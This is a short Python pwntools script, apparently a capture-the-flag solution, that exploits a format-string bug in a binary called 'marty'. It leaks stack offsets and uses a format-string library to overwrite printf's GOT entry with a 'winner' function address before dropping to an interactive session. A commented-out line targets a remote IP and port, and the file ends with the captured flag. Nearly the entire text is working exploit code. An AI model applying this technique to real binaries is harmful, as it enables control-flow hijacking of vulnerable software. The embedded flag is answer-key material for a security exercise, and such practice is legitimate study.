from formatStringExploiter.FormatString import FormatString
from pwn import *

winner = 0x4008DA

#payload = 'AAAA.1.%1$#x.2.%2$#x.3.%3$#x.4.%4$#x.5.%5$#x.6.%6$#x.7.%7$#x.8.%8$#x.'


# p=remote("220.249.52.133","42898")
p=process("./marty",buffer_fill_size=0xffff)
elf=ELF("./marty")
def exec_fmt(s):
    p.sendlineafter("Exit the battle","2")
    sleep(0.1)
    p.sendline(s)
    ret = p.recvuntil("1. Stack Bufferoverflow Bug",drop=True)
    p.recvuntil("3. Exit the battle")
    # p.close()
    print(s)
    return ret


# Load the binary in pwntools. This way we don't need to worry about the
# details, just pass it to FormatString

# exec_fmt("aaaaaoo")
payload=fsmtStr = FormatString(exec_fmt,elf=elf,index=6,pad=0,explore_stack=False)
# fsmtStr.write_q(elf.symbols['got.printf'], str(winner))
print(payload.write_q(elf.symbols['got.printf'], winner))
p.sendline("2")
p.interactive()
# cyberpeace{5edf2b804cb625b46ed72702d16b006f}
